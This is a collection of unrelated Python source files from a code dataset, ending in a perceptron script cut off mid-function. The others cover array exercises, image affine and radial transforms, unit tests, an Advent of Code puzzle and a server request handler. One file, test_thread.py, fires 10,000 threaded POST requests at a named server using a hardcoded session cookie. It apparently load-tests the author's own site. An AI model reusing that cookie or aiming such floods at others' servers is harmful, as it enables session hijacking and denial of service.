kyu/IP Validation.py","file_name":"IP Validation.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70789610668","text":"\"\"\" \nFind Second Largest Element in Given Array. \n\"\"\"\n\narray = [int(x) for x in input('Enter Array : ').split()]\n\n\ndef short(array):\n \"\"\" Return Sorted Unique Elements Array \"\"\"\n unique = set(array)\n unique = list(unique)\n unique.sort()\n return unique\n\n\ndef long(array):\n \"\"\" Return Sorted Unique Elements Array \"\"\"\n unique = []\n for i in array:\n if i not in unique:\n unique.append(i)\n print(unique)\n unique.sort()\n return unique\n\n\nprint(f'Second largest Element is : {long(array)[-2]}')\nprint(f'Second Largest Element is : {short(array)[-2]}')\n","repo_name":"alvas-education-foundation/M-R-Jeevan","sub_path":"coding_solutions/Second Largest Element.py","file_name":"Second Largest Element.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36270010570","text":"from turtle import ontimer\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pyproj import transform\nfrom vaja1.main import loadImage\nfrom vaja3.skripta3 import displayImage\n\ndef getRadialValue(iXY, iCP):\n \n K = iCP.shape[0]\n oValue = np.zeros(K)\n\n x_i, y_i = iXY\n\n for k in range(K):\n x_k, y_k = iCP[k]\n r = np.sqrt((x_i-x_k)**2 + (y_i-y_k)**2)\n if r > 0:\n oValue[k] = -r**2*np.log(r)\n \n return oValue\n\ndef getParameters(iType, **kwargs):\n # default vrednosti scale = 1,1 vse ostalo 0\n if iType == 'affine':\n Tk = np.array([[kwargs['scale'][0], 0, 0], [0, kwargs['scale'][1], 0], [0, 0, 1]])\n Tt = np.array([[1, 0, kwargs['trans'][0]], [0, 1, kwargs['trans'][1]], [0, 0, 1]])\n phi = kwargs['rot']*np.pi/180\n cos, sin = np.cos(phi), np.sin(phi)\n Tr = np.array([[cos, -sin, 0],[sin, cos, 0], [0, 0, 1]])\n Tg = np.array([[1, kwargs['shear'][0], 0], [kwargs['shear'][1], 1, 0], [0, 0, 1]])\n # @ matrix multiplication\n oP = Tg @ Tr @ Tt @ Tk\n elif iType == 'radial':\n K = kwargs['orig_pts'].shape[0]\n UU = np.zeros((K,K),dtype=float)\n coef_matrix = np.zeros((K, 2), dtype=float)\n\n for k in range(K):\n rad_values = getRadialValue(kwargs['orig_pts'][k], kwargs['orig_pts'])\n UU[k, :] = rad_values\n \n UU_inv = np.linalg.inv(UU)\n alphas = UU_inv @ kwargs['mapped_pts'][:, 0]\n betas = UU_inv @ kwargs['mapped_pts'][:,1]\n\n coef_matrix[:,0] = alphas\n coef_matrix[:,1] = betas\n\n oP = {'pts': kwargs['orig_pts'], 'coef': coef_matrix}\n\n\n return oP\n\ndef transformImage(iType, iImage, iDim, iP, iBgr=0, iInterp=0, startPoint='index'):\n\n Y, X = iImage.shape\n\n xc, yc = (X - 1) / 2, (Y - 1) / 2\n\n oImage = np.ones((Y,X), dtype=float) * iBgr\n\n for y in range(Y):\n for x in range(X):\n if startPoint == 'index':\n pt = np.array([x,y]) * iDim\n elif startPoint == 'center':\n pt = np.array([x-xc, y-yc]) * iDim\n if iType == 'affine':\n pt = np.append(pt, 1)\n pt = iP @ pt\n pt = pt[:2]\n elif iType == 'radial':\n U = getRadialValue(pt, iP['pts'])\n u = U @ iP['coef'][:,0]\n v = U @ iP['coef'][:,1]\n pt = np.array([u,v])\n pt=pt/iDim\n if startPoint == 'center':\n pt[0] += xc\n pt[1] += yc\n\n if iInterp == 0:\n px = np.round(pt).astype(int)\n if px[0] >= 0 and px[0] < X and px[1] >=0 and px[1] < Y: \n s = iImage[px[1], px[0]]\n oImage[y, x] = s\n\n elif iInterp == 1:\n px = np.floor(pt).astype(int)\n \n if px[0] >= 0 and px[0] < X and px[1] >=0 and px[1] < Y:\n a = abs(pt[0] - (px[0]+1)) * abs(pt[1] - (px[1]+1))\n b = abs(pt[0] - (px[0]+0)) * abs(pt[1] - (px[1]+1))\n c = abs(pt[0] - (px[0]+1)) * abs(pt[1] - (px[1]+0))\n d = abs(pt[0] - (px[0]+0)) * abs(pt[1] - (px[1]+0))\n \n sa = iImage[px[1], px[0]]\n sb = iImage[px[1], min(px[0]+1,iImage.shape[1]-1)]\n sc = iImage[min(px[1]+1,iImage.shape[0]-1), px[0]]\n sd = iImage[min(px[1]+1,iImage.shape[0]-1), min(px[0]+1,iImage.shape[1]-1)]\n\n s = sa*a + sb*b + sc*c + sd*d \n oImage[y, x] = s\n\n return oImage\n\ndef displayPoints(iXY, iMarker):\n plt.plot(iXY[:,0], iXY[:,1], iMarker, ms=10, lw=2)\n\n\nif __name__ == \"__main__\":\n # Naloga 1. Vaje\n orig_size = [256,512]\n pxDim = [2,1]\n image = loadImage(f\"./vaja6/data/lena-256x512-08bit.raw\",orig_size, np.uint8)\n #displayImage(image,\"original image\",iGridX=[0,511],iGridY=[0,511])\n\n # Naloga 2. Vaje\n #Taffine = getParameters(iType = 'affine', rot=30, scale=[1,1], trans=[0,0], shear=[0,0])\n #print(Taffine)\n\n #XY = np.array([[0,0], [511,0], [0,511], [511,511]])\n #UV = np.array([[0,0], [511,0], [0,511], [255,255]])\n #P_radial = getParameters(iType='radial',orig_pts=XY, mapped_pts=UV)\n #print(P_radial)\n\n # Naloga 3. Vaje\n #tI = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(Taffine), iBgr=63)\n #displayImage(tI, 'Afino preslikana slika', iGridX=[0,511], iGridY=[0,511])\n\n #tI2 = transformImage(iType='radial', iImage=image, iDim=pxDim, iP=P_radial, iBgr=63)\n #displayImage(tI2, 'Afino preslikana slika', iGridX=[0,511], iGridY=[0,511])\n\n # Naloga 1. Doma\n # Spremenite funkcijo transformImage() tako, da bo za določanje sivinskih vrednosti v preslikani sliki poleg interpolacije ničtega reda omogočla tudi interpolacijo prvega reda.\n # Izvedite afino preslikavo nad sliko grid-256x512-08bit.raw s paramteroma k_y = 0.8 in g_xy = 0.5 (preostali paramanteri naj ne vplivajo na prelikavo), pri čemer za določanje \n # sivinskih vrednosti enkrat uporabite interpolacijo ničtega reda, drugič pa interpolacijo prvega reda.\n # Priložite programsko kodo spremenjene funkcije transformImage() ter izrisa slik po preslikavi.\n print(\"Naloga 1.\")\n print(\"Izvedite afino preslikavo nad sliko grid-256x512-08bit.raw s paramteroma k_y = 0.8 in g_xy = 0.5 (preostali paramanteri naj ne vplivajo na prelikavo), pri čemer za določanje sivinskih vrednosti enkrat uporabite interpolacijo ničtega reda, drugič pa interpolacijo prvega reda. Priložite programsko kodo spremenjene funkcije transformImage() ter izrisa slik po preslikavi.\")\n image_grid = loadImage(f\"./vaja6/data/grid-256x512-08bit.raw\", orig_size, np.uint8)\n displayImage(image_grid, \"Originalna grid slika\", iGridX=[0,511], iGridY=[0,511])\n\n affine = getParameters(iType='affine', rot=0, scale=[1,0.8], trans=[0,0], shear=[0.5,0])\n transform_grid_inter0 = transformImage(iType='affine',iImage=image_grid, iDim=pxDim, iP=np.linalg.inv(affine), iBgr=63)\n displayImage(transform_grid_inter0,\"Afino preslikana grid slika z uporabo interpolacije ničtega reda\",iGridX=[0,511], iGridY=[0,511])\n\n transform_grid_inter1 = transformImage(iType='affine', iImage=image_grid, iDim=pxDim, iP=np.linalg.inv(affine), iBgr=63, iInterp=1)\n displayImage(transform_grid_inter1, \"Afino prelikana grid slika z uporabo interpolacije prvega reda\",iGridX=[0,511], iGridY=[0,511])\n\n # Naloga 2. Doma\n # Izvedite vsako od naslednjih afinih preslikav nad sliko lena-256x512-08bit.raw, pri čemer uporabite samo podane parameter (preostali paramteri naj ne vplivajo na prelikavo)\n # ter interpolacijo siviniskih vrednosti prvega reda.\n print(\"Naloga 2.\")\n print(\"Izvedite vsako od naslednjih afinih preslikav nad sliko lena-256x512-08bit.raw, pri čemer uporabite samo podane parameter (preostali paramteri naj ne vplivajo na prelikavo) ter interpolacijo siviniskih vrednosti prvega reda.\")\n # a) k_x = 0.7 k_y=1.4\n affine_lenaA = getParameters(iType='affine', rot=0, scale=[0.7,1.4], trans=[0,0], shear=[0,0])\n transform_lena_inter1_A = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaA), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_A, '2. a) k_x=0.7 k_y=1.4',iGridX=[0,511], iGridY=[0,511])\n # b) t_x = 20 mm t_y = -30 mm\n affine_lenaB = getParameters(iType='affine', rot=0, scale=[1,1], trans=[10,-30], shear=[0,0])\n transform_lena_inter1_B = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaB), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_B, '2. b) t_x=20 mm t_y=-30 mm',iGridX=[0,511], iGridY=[0,511])\n # c) phi = 30\n affine_lenaC = getParameters(iType='affine', rot=-30, scale=[1,1], trans=[0,0], shear=[0,0])\n transform_lena_inter1_C = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaC), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_C, '2. c) phi=30',iGridX=[0,511], iGridY=[0,511])\n # d) g_xy = 0.1 g_yx = 0.5\n affine_lenaD = getParameters(iType='affine', rot=0, scale=[1,1], trans=[0,0], shear=[0.1,0.5])\n transform_lena_inter1_D = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaD), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_D, '2. d) g_xy=0.1 g_yx=0.5',iGridX=[0,511], iGridY=[0,511])\n # e) t_x = -10 mm t_y = 20 mm phi = 15\n affine_lenaE = getParameters(iType='affine', rot=15, scale=[1,1], trans=[-5,20], shear=[0,0])\n transform_lena_inter1_E = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaE), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_E, '2. e) t_x=-10 mm t_y=20 mm phi=15',iGridX=[0,511], iGridY=[0,511])\n # f) k_x = 0.7 k_y = 0.7 t_x = 30 mm t_y = -20 mm phi = -15\n affine_lenaF = getParameters(iType='affine', rot=-15, scale=[0.7,0.7], trans=[15,-20], shear=[0,0])\n transform_lena_inter1_F = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaF), iBgr=63, iInterp=1)\n displayImage(transform_lena_inter1_F, '2. f) k_x=0.7 k_y=0.7 t_x=30 mm t_y=-20 mm phi=-15',iGridX=[0,511], iGridY=[0,511])\n\n # Naloga 3. Doma\n # Kako se imenuje preslikava iz vprašanja 2(e) in kako preslikava iz vprašanja 2(f)? Opišite lastnosti teh preslikav.\n print(\"Naloga 3.\")\n print(\"Kako se imenuje preslikava iz vprašanja 2. e) in kako preslikava iz vprašanja 2. f)? Opišite lastnosti teh preslikav.\")\n \n print(\"Preslikava iz naloga 2. e) se imenuje toga preslikava, pri kateri se izvede rotacija, ter translacija slike. Lastnosti te preslikave so, da: ohranja vzporednost med premicami, ohranja kote med premicami, ohranja razdalje med poljubnimi točkami \")\n print(\"Preslikava iz naloge 2. f) se imenuje podobnostna preslikava, pri kateri se izvede toga preslikava in izotropno skaliranje slike. Lastnosti te preslikave so, da: ohranja vzporednost med premicami, ohranja kote med premicami, ne ohranja razdalj med poljubnimi točkami\\n\")\n \n # Naloga 4. Doma\n # Izvedite afini preslikavi iz vprašanja 2(c) in vprašanja 2(d) nad sliko lena-256x512-08bit.raw, pri čemer izhodišče koordinatnega sistema preslikave prestavitev v središče slike (tako da se slika npr. vrti okoli svojega središča)\n # Priložite izrise slike za vsako preslikavo ter programsko kodo, s katero ste dosegli prestavitev koordinatenga sistema preslikave\n print(\"Naloga 4.\")\n print(\"Izvedite afini preslikavi iz vprašanja 2. c) in vprašanja 2. d) nad sliko lena-256x512-08bit.raw, pri čemer izhodišče koordinatnega sistema prelikave prestavite v središče slike (tako da se slika npr. vrti okoli svojega središča). Priložite izris slik za vsako preslikavo ter programsko kodo, s katero ste dosegli prestavitev koordinatnega sistema preslikave.\")\n\n # c) phi = 30\n affine_lenaC = getParameters(iType='affine', rot=-30, scale=[1,1], trans=[0,0], shear=[0,0])\n transform_lena_inter1_C = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaC), iBgr=63, iInterp=1, startPoint='center')\n displayImage(transform_lena_inter1_C, '2. c) phi=30',iGridX=[0,511], iGridY=[0,511])\n # d) g_xy = 0.1 g_yx = 0.5\n affine_lenaD = getParameters(iType='affine', rot=0, scale=[1,1], trans=[0,0], shear=[0.1,0.5])\n transform_lena_inter1_D = transformImage(iType='affine', iImage=image, iDim=pxDim, iP=np.linalg.inv(affine_lenaD), iBgr=63, iInterp=1, startPoint='center')\n displayImage(transform_lena_inter1_D, '2. d) g_xy=0.1 g_yx=0.5',iGridX=[0,511], iGridY=[0,511])\n\n # Naloga 5. Doma\n # Izvedite radialno preslikavo z naslednjimi kontrolnimi točkami (x_k, y_k):\n # (x_1,y_1) = (0,0) mm; (x_2,y_2) = (511,0) mm; (x_3,y_3) = (0,511) mm; (x_4,y_4) = (511,511) mm; \n # (x_5,y_5) = (63,63) mm; (x_6,y_6) = (63,447) mm; (x_7,y_7) = (447,63) mm; (x_8,y_8) = (447,447) mm;\n # ter pripadajočimi preslikanimi kontrolnimi točkami (u_k,v_k):\n # (u_1,v_1) = (0,0) mm; (u_2,v_2) = (511,0) mm; (u_3,v_3) = (0,511) mm; (u_4,v_4) = (511,511) mm; \n # (u_5,v_5) = (127,95) mm; (u_6,v_6) = (127,415) mm; (u_7,v_7) = (383,95) mm; (u_8,v_8) = (383,415) mm;\n\n # Na vhodno in preslikano sliko narišite kontrolne točke z križci rdeče barve in preslikane kontrolne točke z krožci modre barve, kar storite z uporabo naslednje funkcije nesporedno po klicu funkcije displayImage():\n # kjer vhodni argument iXY predstavlja matriko točk [x_j, y_j] = (x_j, y_i) (j-ta vrstica matrike predstavlja j-to od skupno J točk), iMarker pa barvo in vrsto izrisa točk (npr. 'rx' za rdeče križce, 'bo' za modre krožce).\n # Da bo izris deloval pravilno je potrebno 'zakomentirati' ukaz plt.show() na koncu funkcije displayImage().\n\n # Priložite izrise originalne in preslikane slike z vrisanimi kontrolnimi in preslikanimi točkami, in sicer za radialno preslikavo nad sliko grid-256x512-08bit.raw ter za radialno preslikavo nad sliko lena-256x512-08bit.raw\n\n # Ali glede na položaj točk preslikava deluje pravilno? Obrazložite odgovor.\n\n print(\"Naloga 5.\")\n\n print(\"Izvedite radialno preslikavo z naslednjimi kontrolnimi točkami (x_k, y_k), ter pripadajočimi preslikanimi kontrolnimi točkami (u_k,v_k)\")\n print(\"Priložite izrise originalne in preslikane slike z vrisanimi kontrolnimi in preslikanimi točkami, in sicer za radialno preslikavo nad sliko grid-256x512-08bit.raw ter za radialno preslikavo nad sliko lena-256x512-08bit.raw\")\n\n XY = np.array([[0,0], [511,0], [0,511], [511,511], [63,63], [63,447], [447,63], [447,447]])\n UV = np.array([[0,0], [511,0], [0,511], [511,511], [127,95], [127,415], [383,95], [383,415]])\n #displayImage(image, 'Originalna slika Lene', iGridX=[0,511], iGridY=[0,511], points=True)\n \n radial_parameters = getParameters(iType='radial', orig_pts=XY, mapped_pts=UV)\n radial_lena = transformImage(iType='radial', iImage=image, iDim=pxDim, iP=radial_parameters, iBgr=63, iInterp=1)\n displayImage(radial_lena, 'Lena radialna preslikava', iGridX=[0,511], iGridY=[0,511], points=True)\n displayPoints(UV, \"bo\")\n displayPoints(XY, \"rx\")\n \n \n radial_lena = transformImage(iType='radial', iImage=image_grid, iDim=pxDim, iP=radial_parameters, iBgr=63, iInterp=1)\n displayImage(radial_lena, 'Grid radialna preslikava', iGridX=[0,511], iGridY=[0,511], points=True)\n displayPoints(UV, \"bo\")\n displayPoints(XY, \"rx\")\n\n print(\"Ali glede na položaj točk preslikava deluje pravilno? Obrazložite odgovor.\")\n\n print(\"Preslikava ne deluje po pričakovanjih, saj deluje obratno. Obratno deluje zato, ker se preslikane kontrolne točke preslikajo v kontrolne točke.\")\n","repo_name":"janpipan/OSV","sub_path":"vaja6/skripta6.py","file_name":"skripta6.py","file_ext":"py","file_size_in_byte":14821,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39177481085","text":"import unittest\nfrom product.product import Product\nfrom product.productRepository import create, removeById, getById, getAllProducts\n\n\nclass TestRepository(unittest.TestCase):\n\n \n def test_create(self):\n product = create(\"Farinha de trigo\", \"Anaconda\", \"2022-03-09\", \"2023-10-09\")\n self.assertIsInstance(product, Product)\n self.assertEqual(product.type, \"Farinha de trigo\")\n self.assertEqual(product.brand, \"Anaconda\")\n self.assertEqual(product.dateEntry, \"2022-03-09\")\n self.assertEqual(product.expirationDate, \"2023-10-09\")\n \n\n def test_removeById(self):\n product1 = create(\"Feijão\", \"Caldão\", \"2022-03-09\", \"2023-12-09\")\n self.assertTrue(removeById(product1.id))\n #self.assertFalse(removeById(\"invalid-id\"))\n self.assertIsNone(getById(product1.id))\n\n def test_getById(self):\n product2 = create(\"Arroz\", \"Tio João\", \"2022-03-09\", \"2023-11-09\")\n self.assertEqual(getById(product2.id), product2)\n \n def test_getById_returnNone_whenIdIsInvalid(self):\n self.assertIsNone(getById(\"invalid-id\"))\n\n def test_getAllProducts(self):\n listProducts = getAllProducts()\n\n self.assertEqual(len(listProducts), 2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"MouroBr/API_Controle_Estoque","sub_path":"test_Repository.py","file_name":"test_Repository.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72080639787","text":"## processRequest.py\r\n# Primary Owner: Russel Dunk\r\nimport jsonToSqlParms\r\nimport sqlParmsToQuery\r\nimport Cat\r\nimport json\r\nimport sql_utils\r\n\r\n#####\r\n##### ProcessRequest\r\n#####\r\ndef ProcessRequest(dataInput):\r\n\r\n sqlParms = jsonToSqlParms.JsonToSqlParms(dataInput)\r\n if(type(sqlParms) == type(dict())): # if an error json is returned\r\n return json.dumps(sqlParms)\r\n\r\n sqlQuery = sqlParmsToQuery.sqlParmsToQuery(sqlParms, dataInput)\r\n\r\n sql_data = sql_utils.get_dict(sqlQuery[0])\r\n cats = Cat.sql_data_to_cats(sql_data)\r\n\r\n # if statistical operation\r\n if len(sqlQuery) == 3:\r\n col = []\r\n for cat in cats:\r\n col.append(getattr(cat.base_info, sqlQuery[2]))\r\n return \"{\\\"\" + sqlQuery[2] + \"\\\": \" + str(sqlQuery[1](col)) + \"}\"\r\n\r\n else:\r\n completedRequest = Cat.cats_to_json(cats)\r\n\r\n return completedRequest\r\n","repo_name":"DeborahStacey/ClinicalAnalysis","sub_path":"ClinicalAnalysisEngine/processRequest.py","file_name":"processRequest.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35265462414","text":"import random\n\n# plot the images in the batch, along with the corresponding labels\nfig = plt.figure(figsize=(20, 40))\n# visualize transformed data\nfor counter in range(4):\n image_tensor, label_tensor = orientation_train_set[random.choice(range(0, len(orientation_train_set)))]\n image_tensor = image_tensor * 0.226 + 0.445 # denormalize tensor\n ax = fig.add_subplot(1, 4, counter+1, xticks=[], yticks=[])\n plt.imshow(tensorToPIL(image_tensor))\n ax.set_title('Class Index: {} | Class Name: {}'.format(label_tensor, orientation_classes[label_tensor]))","repo_name":"MbassiJaphet/pytorch-for-information-extraction","sub_path":"tutorial/static/code-snippets/orientation_dataset_visualize.py","file_name":"orientation_dataset_visualize.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"37562383569","text":"# author: luojun\r\n# date: 2020/1/2 23:56\r\n\r\n# 多线程的简单实现:\r\n\r\nimport threading\r\nimport time\r\nfrom queue import Queue\r\nimport requests\r\nimport logging\r\n\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\n\r\nclass TestThread(threading.Thread):\r\n def __init__(self, name, queue):\r\n super().__init__()\r\n self.name = name\r\n self.queue = queue\r\n self.url = 'http://qianxunman.xyz:9999/'\r\n self.url2 = 'http://hy.kingtrans.net'\r\n self.url3 = 'http://120.197.23.190/web'\r\n\r\n def run(self):\r\n while True:\r\n if self.queue.empty():\r\n break\r\n # res = requests.get(self.url3)\r\n res = self.qianxun_test()\r\n logging.info('当前线程:{},当前数据:{},请求结果:{}'.format(self.name, self.queue.get(), res))\r\n\r\n time.sleep(1)\r\n pass\r\n\r\n def qianxun_test(self):\r\n url = 'http://qianxunman.xyz:9999/web/dataset/search_read'\r\n headers = {\r\n 'Host': 'qianxunman.xyz:9999',\r\n 'Connection': 'keep-alive',\r\n 'Content-Length': '326',\r\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\r\n 'Origin': 'http://qianxunman.xyz:9999',\r\n 'X-Requested-With': 'XMLHttpRequest',\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0',\r\n 'Content-Type': 'application/json',\r\n 'Referer': 'http://qianxunman.xyz:9999/web?',\r\n 'Accept-Encoding': 'gzip, deflate',\r\n 'Accept-Language': 'zh-CN,zh;q=0.9',\r\n 'Cookie': 'frontend_lang=zh_CN; session_id=96f549341d20114f36874d7c0bb5d0b65099fa3c'\r\n }\r\n data = {\"jsonrpc\": \"2.0\", \"method\": \"call\", \"params\": {\"model\": \"trans.order_lines\", \"domain\": [],\r\n \"fields\": [\"order_no\", \"customer\", \"location_dest\",\r\n \"amount\", \"location\", \"description\",\r\n \"create_time_trans\", \"is_informed\",\r\n \"date_informed\", \"create_date\", \"create_uid\"],\r\n \"limit\": 80, \"sort\": \"\",\r\n \"context\": {\"tz\": False, \"lang\": \"zh_CN\", \"uid\": 2}},\r\n \"id\": 174751753}\r\n res = requests.post(url=url, headers=headers, json=data)\r\n # logging.info(res)\r\n return res\r\n\r\n \"\"\"\r\n'Host': 'qianxunman.xyz:9999',\r\n'Connection': 'keep-alive',\r\n'Content-Length': '326',\r\n'Accept': 'application/json, text/javascript, */*; q=0.01',\r\n'Origin': 'http://qianxunman.xyz:9999',\r\n'X-Requested-With': 'XMLHttpRequest',\r\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0',\r\n'Content-Type': 'application/json',\r\n'Referer': 'http://qianxunman.xyz:9999/web?',\r\n'Accept-Encoding': 'gzip, deflate',\r\n'Accept-Language': 'zh-CN,zh;q=0.9',\r\n\"\"\"\r\n\r\n\r\ndef main():\r\n # 要将100个数字数完,用10个人,每个人数数的间隔为1秒,多久能数完\r\n count = Queue()\r\n for i in range(10000):\r\n count.put(i)\r\n\r\n list_threading = [str(i) for i in range(50)]\r\n\r\n list_instance = []\r\n for thread_name in list_threading:\r\n new_thread = TestThread(thread_name, count)\r\n list_instance.append(new_thread)\r\n\r\n for instance in list_instance:\r\n instance.start()\r\n\r\n for instance_stop in list_instance:\r\n instance_stop.join()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"qianxunman/simple_tools","sub_path":"apps/test_thread.py","file_name":"test_thread.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24273490194","text":"# https://adventofcode.com/2018/day/11\n# --- Day 11: Chronal Charge ---\nimport math\n\ndef cellPower(x, y, sno):\n rid = x + 10\n pl = rid * y\n pl = pl + sno\n pl = pl * rid\n\n if pl < 99 or math.floor(pl / 100) == 0:\n pl = 0\n else:\n pl = math.floor(pl / 100) % 10\n\n return pl - 5\n\ndef networkCellPower(sno, size):\n cells = {}\n for xs in range(1 + size):\n for ys in range(1 + size):\n cells[(xs, ys)] = cellPower(xs, ys, sno)\n\n return cells\n\ndef powerForGridAt(x, y, size, baselinePower, ncp):\n gp = baselinePower[(x, y)] - ncp[x+size - 1 , y+size - 1]\n for ys in range(y, y + size):\n gp += ncp[(x + size - 1, ys)]\n\n for xs in range(x, x + size):\n gp += ncp[(xs, y + size - 1)]\n\n return gp\n\n\ndef gridPower(size, baselinePower, ncp):\n power = {}\n for xs in range(1, 301 - size + 1):\n for ys in range(1, 301 - size + 1):\n power[(xs, ys)] = powerForGridAt(xs, ys, size, baselinePower, ncp)\n\n return power\n\ndef findBestGrid(sno):\n baselinePower = ncp = networkCellPower(sno, 300)\n (pt, gp) = max(ncp.items(), key=lambda t: t[1])\n bs = 1\n for size in range(2, 301):\n baselinePower = gridPower(size, baselinePower, ncp)\n (cpt, cgp) = max(baselinePower.items(), key=lambda t: t[1])\n if cgp > gp:\n pt = cpt\n gp = cgp\n bs = size\n else:\n break\n\n return (pt, gp, bs)\n\nfor sno in [18, 42, 8561]:\n cellPosition, gp, size = findBestGrid(sno)\n x, y = cellPosition\n print('Grid serial number ' + str(sno) + ' BEST (X,Y) = (' + str(x) + ',' + str(y) + ') Power = ' + str(gp) + ' size is ' + str(size))\n\n","repo_name":"yl3w/aoc","sub_path":"2018/day11/chronal_charge_2.py","file_name":"chronal_charge_2.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37578908143","text":"\nimport unittest\n\nfrom machina_reparanda.configuration import Configuration\nfrom implementations.revert_implementation import RevertImplementation\nfrom machina_reparanda.mutable_osm_objects import MutableTagList, MutableWayNodeList, MutableRelationMemberList\n\nfrom tests.mock_data_provider import MockDataProvider\n\ndef make_fake_source(configuration):\n fake_source = MockDataProvider(configuration, fake_data=True)\n revert_impl = RevertImplementation(configuration, fake_source)\n return fake_source, revert_impl\n\nclass NameRevertTestCase(unittest.TestCase):\n def setUp(self):\n self.config = Configuration({\"user\": \"testUser\", \"uid\": 12458, \"password\": \"123secret\"})\n self.data_source = MockDataProvider(self.config)\n self.revert_impl = RevertImplementation(self.config, self.data_source)\n\n def test_revert_latest_version(self):\n code, latest = self.data_source.get_latest_version(\"way\", 257006627)\n code, previous = self.data_source.get_version(\"way\", 257006627, 3)\n result, cs = self.revert_impl.handle_obj(latest)\n self.assertEqual(previous.tags[\"name\"], result.tags[\"name\"])\n self.assertEqual(result.version, 4)\n\n def test_already_reverted(self):\n code, v5 = self.data_source.get_version(\"way\", 33072216, 5)\n code, v6 = self.data_source.get_version(\"way\", 33072216, 6)\n code, v7 = self.data_source.get_version(\"way\", 33072216, 7)\n code, latest = self.data_source.get_latest_version(\"way\", 33072216)\n result, cs = self.revert_impl.solve_conflict(v5, latest, [6])\n self.assertIsNone(result)\n self.assertIsNone(cs)\n\n def test_real_conflict(self):\n fake_source, revert_impl = make_fake_source(self.config)\n code, v5 = fake_source.get_version(\"way\", 33072216, 5)\n code, v6 = fake_source.get_version(\"way\", 33072216, 6)\n code, latest = fake_source.get_latest_version(\"way\", 33072216)\n result, cs = revert_impl.solve_conflict(v5, latest, [6])\n self.assertIsNotNone(result)\n self.assertEqual(len(cs), 1)\n self.assertIn(52071384, cs)\n self.assertEqual(v5.tags[\"name\"], result.tags[\"name\"])\n self.assertEqual(result.version, 7)\n self.assertIn(\"surface\", result.tags)\n\n def test_conflict_multiple_not_to_revert_changesets(self):\n fake_source, revert_impl = make_fake_source(self.config)\n code, v1 = fake_source.get_version(\"way\", 501700, 1)\n code, latest = fake_source.get_latest_version(\"way\", 501700)\n result, cs = revert_impl.solve_conflict(v1, latest, [2])\n self.assertIsNotNone(result)\n self.assertEqual(v1.tags[\"name\"], result.tags[\"name\"])\n self.assertEqual(result.version, 4)\n self.assertEqual(len(cs), 1)\n self.assertIn(108213, cs)\n","repo_name":"Nakaner/Machina_Reparanda","sub_path":"tests/test_name_revert_config.py","file_name":"test_name_revert_config.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38074777362","text":"import pandas as pd\nimport numpy as np\nimport random\n\n# reading data from csv\ndef read_data():\n df = pd.read_csv(\"../data/classification.csv\", header=None)\n X_org = np.array(df.iloc[:, 0:3])\n #print(X_org.shape)\n intercept = np.ones((X_org.shape[0], 1))\n print(intercept.shape)\n features = np.hstack((intercept, X_org))\n print(features.shape)\n X = features.reshape(features.shape[0],-1).T\n print(X.shape)\n Y_org = np.array(df.iloc[:, 3]).T\n Y = Y_org.reshape(Y_org.shape[0], -1).T\n #print(X_org.shape)\n\n\n return X, Y\n\n#initializing weights\ndef initialize_with_zeros(dim):\n wt = [np.random.uniform(-1,1)] * 4\n wt = np.array([wt])\n #print(wt)\n b = 0\n return wt.T, b\n\n\ndef sigmoid(z):\n s = (1 / (1 + np.exp(-z)))\n return s\n\n\ndef propagate(X,W,Y,learning_rate):\n count1 = 0\n while (True):\n count = 0\n prediction = np.dot(W.T, X)\n X = X.T\n W = W.T\n\n for i in prediction:\n k = len(i)\n for j in range(k):\n j = random.randrange(0, k, 1)\n # print(Y[0])\n if i[j] > 0:\n if Y[0][j] == 1:\n continue\n else:\n count += 1\n W = W - learning_rate * X[j]\n\n else:\n if Y[0][j] == 1:\n count += 1\n W = W + learning_rate * X[j]\n else:\n continue\n\n X = X.T\n W = W.T\n count1 += 1\n if count == 0:\n print(count1)\n break\n\n return 